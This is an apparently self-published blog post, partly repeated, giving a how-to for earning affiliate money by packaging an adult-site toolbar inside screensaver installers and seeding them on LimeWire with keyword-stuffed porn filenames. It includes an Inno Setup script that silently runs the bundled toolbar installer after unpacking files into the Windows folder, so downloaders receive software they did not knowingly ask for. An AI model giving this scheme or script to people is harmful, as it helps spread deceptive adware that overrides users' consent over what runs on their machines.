So, I was reading some blogs the other day: Blue Hat SEO-Advanced SEO Tactics » How to make a $100 per day and one that I can not divulge (sorry, owner doesn't want it publicized) and figured I'd try some of the techniques out. Okay, I haven't tested Eli's, but I plan to. I tried the other person's idea and it didn't work out the way I had hoped, or the way it was described. No big deal, because, as a result it made me think (a rarity, so I was pretty stoked). In the end, I came up with an idea that is kind of a hybrid of the two posts, yet different.
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<real post>
What you'll need
About MGShareware
Conduit.com - Free community toolbar Builder in a Few Easy Steps
Lime Wire » Official Website & Free Download «
Download Inno Setup 5.1.12 - Inno Setup is a tool that helps you to create windows installers. - Softpedia
Your brain
Some content
How it works
1.Same as Eli's post, create a screensaver with something that will attract people. It could be cars, celebrities, whatever. I used ScreenSaver Builder and created adult screensavers basically because I have access to an assload of porn from my adult sponsors. So, it was easier that trying to find "clean" pics.
When you create your screensaver file, save it as a .scr, not the .exe.
2. Go to Conduit.com - Free community toolbar Builder in a Few Easy Steps and create a custom toolbar. Use your existing site or an affiliate site as the "Site". For mine, I used an adult affiliate link. So, if people click on it, they go to the main tour page for that adult site. Next, I added a couple buttons with dropdowns and a bunch of links. Each link is an affiliate link for the same adult program. One button is "Models" and I have a link to each model's page on the site, the other is "Galleries" with affiliate links to free galleries of naked chicks.
Once you have your toolbar created, download the .exe file for it. If you normally use Firefox, you'll have to open IE to get the .exe file, otherwise it will keep trying it install the Firefox extension.
3. Now that you have your toolbar and screensaver, open Inno and we're going to create the .exe file for distribution. Luckily, it's a very simple process, just follow the wizard and you're nearly done. Couple things to note: you can either designate a folder for the installer to save your files to, or you can choose "No folder needed". If you're doing screensavers, choose "No folder needed", this will unpack your files to the Windows folder.
Once you've completed the Wizard and created your .exe it will ask if you want to compile it. Say "No". You need to add another line to the script first.
Add:
Those two lines, tell the compiler that after it unpacks the files, it needs to run your toolbar file to install it, and after running, it should delete the toolbar's .exe file.
So, your Inno script should look something like this:
If you're not sure where to find the filename, it's whatever is between the quotes after DestDir and the toolbar name. (see yellow text if you're still lost.
Last, click on "Build" and "Compile", this will create the actual setup file. Rename the setup file to something descriptive, so people can find it when they search Limewire. Example: "Porn adult xxx sex Chrissy Moran screensaver.exe" Yeah, it's long, but its what Limewire looks at when people search. Also, it's what people see when the search result pop up.
4. Open Limewire. Specify your shared folder. Make sure your screensavers or whatever are in there. Now, just wait.
How much money did this cost? How much can you make?
Cost's nothing. Everything listed above is free, except possibly content.
How much can you make? Not sure. Porn screen savers don't seem real popular, so I'm going to try other types of screensavers, and other types of content. I'm still testing, so I can't give you any definite numbers.
</real post>
<credits>
Blue Hat SEO-Advanced SEO Tactics » How to make a $100 per day - packaging idea
Zoomist Screensaver Talk - Creating the screensavers? - links to free screensaver maker and Inno
undisclosed blog - using P2P as a marketing method
</credits>
I think this idea has some potential given the correct niche. Apparently, porn screensavers are not it. In 3 days, I only got about 125 hits per screensaver and no downloads.
</rambling>
<real post>
What you'll need
About MGShareware
Conduit.com - Free community toolbar Builder in a Few Easy Steps
Lime Wire » Official Website & Free Download «
Download Inno Setup 5.1.12 - Inno Setup is a tool that helps you to create windows installers. - Softpedia
Your brain
Some content
How it works
1.Same as Eli's post, create a screensaver with something that will attract people. It could be cars, celebrities, whatever. I used ScreenSaver Builder and created adult screensavers basically because I have access to an assload of porn from my adult sponsors. So, it was easier that trying to find "clean" pics.
When you create your screensaver file, save it as a .scr, not the .exe.
2. Go to Conduit.com - Free community toolbar Builder in a Few Easy Steps and create a custom toolbar. Use your existing site or an affiliate site as the "Site". For mine, I used an adult affiliate link. So, if people click on it, they go to the main tour page for that adult site. Next, I added a couple buttons with dropdowns and a bunch of links. Each link is an affiliate link for the same adult program. One button is "Models" and I have a link to each model's page on the site, the other is "Galleries" with affiliate links to free galleries of naked chicks.
Once you have your toolbar created, download the .exe file for it. If you normally use Firefox, you'll have to open IE to get the .exe file, otherwise it will keep trying it install the Firefox extension.
3. Now that you have your toolbar and screensaver, open Inno and we're going to create the .exe file for distribution. Luckily, it's a very simple process, just follow the wizard and you're nearly done. Couple things to note: you can either designate a folder for the installer to save your files to, or you can choose "No folder needed". If you're doing screensavers, choose "No folder needed", this will unpack your files to the Windows folder.
Once you've completed the Wizard and created your .exe it will ask if you want to compile it. Say "No". You need to add another line to the script first.
Add:
Code:
[Run]
Filename: "{win}\Your-Toolbar.exe";
[UninstallDelete]
Type: files; Name: "{win}\Your-Toolbar.exe";So, your Inno script should look something like this:
Code:
; Script generated by the Inno Setup Script Wizard.
; SEE THE DOCUMENTATION FOR DETAILS ON CREATING INNO SETUP SCRIPT FILES!
[Setup]
AppName=Screensaver Name
AppVerName=Whatever
AppPublisherURL=http://www.your-site.com
AppSupportURL=http://www.your-site.com
AppUpdatesURL=http://www.your-site.com
CreateAppDir=no
OutputBaseFilename=setup
Compression=lzma
SolidCompression=yes
[Languages]
Name: "english"; MessagesFile: "compiler:Default.isl"
[Files]
Source: "C:\Documents and Settings\Michael\Desktop\screensavers\Your-Toolbar.exe"; [COLOR=Yellow]DestDir: "{win}"[/COLOR]; Flags: ignoreversion
Source: "C:\Documents and Settings\Michael\Desktop\screensavers\Your-Screensaver.scr"; DestDir: "{win}"; Flags: ignoreversion
; NOTE: Don't use "Flags: ignoreversion" on any shared system files
[Run]
Filename: "[COLOR=Yellow]{win}[/COLOR]\Your-Toolbar.exe";
[UninstallDelete]
Type: files; Name: "{win}\Your-Toolbar.exe";Last, click on "Build" and "Compile", this will create the actual setup file. Rename the setup file to something descriptive, so people can find it when they search Limewire. Example: "Porn adult xxx sex Chrissy Moran screensaver.exe" Yeah, it's long, but its what Limewire looks at when people search. Also, it's what people see when the search result pop up.
4. Open Limewire. Specify your shared folder. Make sure your screensavers or whatever are in there. Now, just wait.
How much money did this cost? How much can you make?
Cost's nothing. Everything listed above is free, except possibly content.
How much can you make? Not sure. Porn screen savers don't seem real popular, so I'm going to try other types of screensavers, and other types of content. I'm still testing, so I can't give you any definite numbers.
</real post>
<credits>
Blue Hat SEO-Advanced SEO Tactics » How to make a $100 per day - packaging idea
Zoomist Screensaver Talk - Creating the screensavers? - links to free screensaver maker and Inno
undisclosed blog - using P2P as a marketing method
</credits>
I think this idea has some potential given the correct niche. Apparently, porn screensavers are not it. In 3 days, I only got about 125 hits per screensaver and no downloads.
